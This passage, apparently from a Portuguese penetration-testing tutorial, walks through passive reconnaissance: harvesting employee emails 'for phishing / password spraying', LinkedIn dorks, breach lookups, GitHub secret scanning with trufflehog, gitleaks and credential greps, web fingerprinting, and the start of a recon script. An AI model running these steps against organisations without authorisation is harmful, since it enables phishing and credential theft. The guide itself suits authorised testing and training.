&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -l&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 500&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; report_target&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Apenas emails (para phishing / password spraying)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester.py&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -b&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; linkedin,hunter,google&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  -l&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -E&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;^[a-zA-Z0-9._%+-]+@&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-5--reconhecimento-de-pessoas&quot;&gt;Fase 5 — Reconhecimento de Pessoas&lt;/h2&gt;
&lt;h3 id=&quot;linkedin-osint&quot;&gt;LinkedIn OSINT&lt;/h3&gt;
&lt;p&gt;Identificar funcionários, cargos e tecnologias usadas.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Via Google Dorks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:linkedin.com/in&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Target Company&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Security Engineer&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:linkedin.com/in&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Target Company&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;DevOps&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;site:linkedin.com/in&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Target Company&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Active Directory&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Ferramentas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; linkedin2username&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; linkedin2username.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; YOUR_EMAIL&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;Target Company&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;email-format-discovery&quot;&gt;Email Format Discovery&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Hunter.io CLI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;https://api.hunter.io/v2/domain-search?domain=target.com&amp;#x26;api_key=KEY&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;.data.pattern&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Exemplo de output: &quot;{first}.{last}@target.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verificação de emails com h8mail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; h8mail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;h8mail&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -t&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; emails.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --breach-src&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; haveibeenpwned&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-6--análise-de-código-público&quot;&gt;Fase 6 — Análise de Código Público&lt;/h2&gt;
&lt;p&gt;Repositórios públicos frequentemente contêm credenciais, tokens e infraestrutura interna acidentalmente commitados.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# GitHub Dorks — busca direto no site&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company password&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company api_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# org:target-company internal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Trufflehog — varredura de histórico git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; trufflehog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;trufflehog&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; github&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --org=target-company&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --only-verified&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# GitLeaks — scan de repositórios&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;docker&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; run&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;pwd&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;:/path&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; zricethezav/gitleaks:latest&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  detect&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --source=/path&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --report-format&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Greps específicos em repos clonados&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://github.com/target/public-repo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; public-repo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -rE&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;(password|passwd|secret|token|api_key|aws_access)&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; .&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -rE&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;(https?://[^/]+:[^@]+@)&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # URLs com credenciais&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-7--análise-de-tecnologia-web&quot;&gt;Fase 7 — Análise de Tecnologia Web&lt;/h2&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# WhatWeb — fingerprinting passivo via histórico/cache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whatweb&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -a&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://target.com&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # stealth mode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# BuiltWith API&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;https://api.builtwith.com/v21/api.json?KEY=YOUR_KEY&amp;#x26;LOOKUP=target.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;.Results[].Result.Paths[].Technologies[].Name&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Wappalyzer CLI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;npm&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -g&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; wappalyzer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wappalyzer&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; https://target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Wayback Machine — versões antigas do site&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://web.archive.org/cdx/search/cdx?url=*.target.com/*&amp;#x26;output=text&amp;#x26;fl=original&amp;#x26;collapse=urlkey&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -100&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;consolidando-a-inteligência&quot;&gt;Consolidando a Inteligência&lt;/h2&gt;
&lt;p&gt;Organize tudo em uma estrutura antes de partir para o reconhecimento ativo:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;target-intel/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── domains/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── subdomains.txt       # todos os subdomains descobertos&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── dns_records.txt      # registros MX, TXT, NS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── whois.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── ips/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── ip_ranges.txt        # CIDRs do alvo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── shodan_results.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── people/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── employees.txt        # nomes e cargos&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── emails.txt           # emails coletados&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── email_format.txt     # padrão do formato&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── tech/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   ├── stack.txt            # tecnologias identificadas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── certificates.txt     # certs SSL encontrados&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── credentials/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── leaked_creds.txt     # vazamentos em breaches&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;└── code/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    └── github_findings.txt  # achados em repos públicos&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# passive_recon.sh — Pipeline completo de recon passivo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:?&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt; $0&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;./intel/${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;/{domains,ips,people,tech}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[*] Starting passive recon for: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Subdomains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[+] Enumerating subdomains...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;subfinder&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -all&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -silent&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/subfinder.txt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; enum&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -passive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt;&gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/amass.txt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/subfinder.txt&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/amass.txt&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/all_subdomains.txt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;    $(&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;wc&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/all_subdomains.txt&quot;) unique subdomains&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# DNS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;[+] Pulling DNS records...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ANY&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; +short&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/domains/dns.txt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;https://crt.sh/?q=%.${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&amp;#x26;output=json&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
